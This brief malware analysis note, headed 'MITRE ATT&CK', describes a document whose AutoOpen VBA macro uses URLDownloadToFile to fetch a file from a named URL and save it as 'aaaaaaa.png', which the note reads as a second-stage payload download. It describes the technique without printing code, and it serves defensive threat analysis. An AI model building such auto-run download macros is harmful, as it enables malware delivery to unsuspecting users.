MITRE ATT&CK

The sample is an OOXML document containing a VBA project with an AutoOpen macro. This macro utilizes the URLDownloadToFile function to download a file from the URL 'https://prog.hu/site/images/proghu-icon.png' and save it locally as 'aaaaaaa.png'. This indicates an attempt to download and execute a second-stage payload.
